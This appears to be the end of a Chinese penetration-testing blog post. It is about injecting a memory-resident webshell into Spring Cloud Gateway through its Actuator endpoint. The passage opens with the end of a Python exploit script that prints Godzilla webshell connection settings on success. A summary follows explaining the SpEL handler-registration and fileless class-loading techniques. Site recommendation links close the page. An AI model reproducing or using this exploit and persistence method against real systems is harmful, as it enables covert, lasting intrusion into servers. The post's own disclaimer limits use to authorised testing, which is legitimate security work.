    print(f"[*] 目标: {url}")
    result = hack(url)
    print(f"[*] 结果: {result}")
    if "sucess" in str(result):
        print()
        print("[+] 内存马注入成功!")
        print("[+] 哥斯拉连接配置:")
        print(f"    URL:    {url}gmem")
        print(f"    密码:   pass")
        print(f"    密钥:   key")
        print(f"    载荷:   JavaDynamicPayload")
        print(f"    加密器: JAVA_AES_BASE64")
        print(f"    协议头: raw")
    else:
        print("[-] 注入失败,请检查目标是否存活且Actuator可访问")


if __name__ == '__main__':
    main()

getshell 一个很拉的容器。。。

总结

本次实战的核心收获:

  1. SpEL一次性执行 ≠ 内存马。 真正的内存马需要通过 registerHandlerMethod 在Spring容器中注册持久化端点。

  2. Spring Cloud Gateway基于WebFlux/Netty ,传统Servlet/Filter/JSP型内存马不适用,需要使用 RequestMappingHandlerMapping 方式注入。

  3. SpEL的@语法是关键。 @requestMappingHandlerMapping 直接从Spring容器获取Bean引用,免去了复杂的反射获取ApplicationContext的过程。

  4. ReflectUtils.defineClass + MLet ClassLoader 实现了不落地加载class字节码,整个过程纯内存操作


本文仅用于授权安全测试与学习研究,请勿用于非法用途。

相关推荐
菩提小狗4 小时前
每日安全情报报告 · 2026-07-31
网络安全·漏洞·cve·安全情报·每日安全
笨鸟先飞,勤能补拙6 小时前
下一个十年:网络安全正在被重写
网络·人工智能·安全·web安全·网络安全·github
游戏开发爱好者87 小时前
TraceEagle 代理抓包详解,无感代理、去证书绑定与 HTTP/3 解密能力解析
网络协议·计算机网络·网络安全·ios·adb·https·udp
云水一下7 小时前
零基础玩转bWAPP靶场(二十八):SQL 注入——盲注(SQLite)
web安全·sql注入·bwapp
zzzll11118 小时前
Spring Cloud 微服务:从入门到实践
spring·spring cloud·微服务
Chengbei118 小时前
云存储桶漏洞检测工具OSS-2.0更新,全类型文件解析,存储桶遍历 + 敏感排查一站式完成渗透取证
网络·安全·web安全·网络安全·xss
sbjdhjd9 小时前
安全初级 | Upload 文件上传漏洞实操
android·经验分享·安全·网络安全·开源·php·apache
Devin~Y9 小时前
从本地生活电商到 AI RAG:互联网大厂 Java 面试场景完整实战
java·spring boot·redis·elasticsearch·spring cloud·kafka·rag
白猫不黑1 天前
GitHub 30K Star 的 AI 渗透测试工具
web安全·网络安全·信息安全·渗透测试·github·ai渗透测试